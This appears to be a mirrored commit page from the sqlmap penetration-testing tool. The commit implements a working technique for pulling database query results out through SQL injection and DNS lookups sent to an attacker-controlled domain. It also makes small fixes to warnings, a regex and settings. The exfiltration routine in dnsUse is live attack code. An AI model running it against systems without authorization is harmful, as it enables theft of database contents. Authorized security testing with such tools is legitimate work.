mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-05-11 03:03:45 +03:00
further update of DNS data retrieval mechanism through SQLi
This commit is contained in:
parent
1e01203562
commit
1cd3c3f7af
|
@ -261,7 +261,7 @@ class Agent:
|
||||||
if 'hex' in rootQuery:
|
if 'hex' in rootQuery:
|
||||||
hexField = rootQuery.hex.query % field
|
hexField = rootQuery.hex.query % field
|
||||||
else:
|
else:
|
||||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
return hexField
|
return hexField
|
||||||
|
|
|
@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
|
||||||
for _ in variables.keys():
|
for _ in variables.keys():
|
||||||
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
|
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
|
||||||
|
|
||||||
_ = re.search(r"%([^%]+)%", retVal, re.I)
|
_ = re.search(r"%(\w+)%", retVal, re.I)
|
||||||
if _:
|
if _:
|
||||||
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
|
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
|
||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
|
@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
||||||
|
|
||||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||||
kb.dep = None
|
kb.dep = None
|
||||||
|
kb.dnsMode = False
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
kb.dumpMode = False
|
kb.dumpMode = False
|
||||||
kb.dynamicMarkings = []
|
kb.dynamicMarkings = []
|
||||||
|
|
|
@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
|
||||||
|
|
||||||
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
|
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
|
||||||
MAX_TOTAL_REDIRECTIONS = 10
|
MAX_TOTAL_REDIRECTIONS = 10
|
||||||
|
|
||||||
|
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
|
||||||
|
MAX_DNS_LABEL = 63
|
||||||
|
|
|
@ -48,15 +48,22 @@ from lib.core.threads import getCurrentThreadData
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.request.direct import direct
|
from lib.request.direct import direct
|
||||||
from lib.techniques.union.use import unionUse
|
|
||||||
from lib.techniques.blind.inference import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
|
from lib.techniques.dns.use import dnsUse
|
||||||
from lib.techniques.error.use import errorUse
|
from lib.techniques.error.use import errorUse
|
||||||
|
from lib.techniques.union.use import unionUse
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
value = None
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
if conf.dnsDomain:
|
||||||
|
value = dnsUse(payload, expression)
|
||||||
|
|
||||||
|
if value is None:
|
||||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||||
|
|
||||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
|
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
|
||||||
|
|
|
@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def dnsUse(expression, expected=None, dump=False):
|
import re
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import calculateDeltaSeconds
|
||||||
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import decodeHexValue
|
||||||
|
from lib.core.common import extractRegexResult
|
||||||
|
from lib.core.common import getSPLSnippet
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
|
from lib.core.common import hashDBWrite
|
||||||
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.common import safecharencode
|
||||||
|
from lib.core.common import safeStringFormat
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import MAX_DNS_LABEL
|
||||||
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
def dnsUse(payload, expression):
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query taking advantage of the DNS
|
Retrieve the output of a SQL query taking advantage of the DNS
|
||||||
resolution mechanism by making request back to attacker's machine.
|
resolution mechanism by making request back to attacker's machine.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
raise NotImplementedError
|
start = time.time()
|
||||||
|
|
||||||
|
retVal = None
|
||||||
|
count = 0
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
|
||||||
|
output = hashDBRetrieve(expression, checkConf=True)
|
||||||
|
if PARTIAL_VALUE_MARKER in output:
|
||||||
|
output = None
|
||||||
|
|
||||||
|
if output is None:
|
||||||
|
kb.dnsMode = True
|
||||||
|
|
||||||
|
while True:
|
||||||
|
count += 1
|
||||||
|
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
|
||||||
|
chunk_length = MAX_DNS_LABEL / 2
|
||||||
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
||||||
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
||||||
|
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
||||||
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
|
|
||||||
|
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
|
||||||
|
expressionUnescaped = unescaper.unescape(expressionRequest)
|
||||||
|
|
||||||
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
||||||
|
Request.queryPage(forgedPayload, content=False, raise404=False)
|
||||||
|
|
||||||
|
_ = conf.dnsServer.pop(prefix, suffix)
|
||||||
|
if _:
|
||||||
|
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
||||||
|
_ = decodeHexValue(_)
|
||||||
|
output = (output or "") + _
|
||||||
|
offset += len(_)
|
||||||
|
if len(_) < chunk_length:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
kb.dnsMode = False
|
||||||
|
|
||||||
|
if output is not None:
|
||||||
|
retVal = output
|
||||||
|
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
|
||||||
|
hashDBWrite(expression, output)
|
||||||
|
|
||||||
|
if not kb.bruteMode:
|
||||||
|
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
elif conf.dnsDomain:
|
||||||
|
warnMsg = "DNS data exfiltration method through SQL injection "
|
||||||
|
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
conf.dnsDomain = None
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
Loading…
Reference in New Issue
Block a user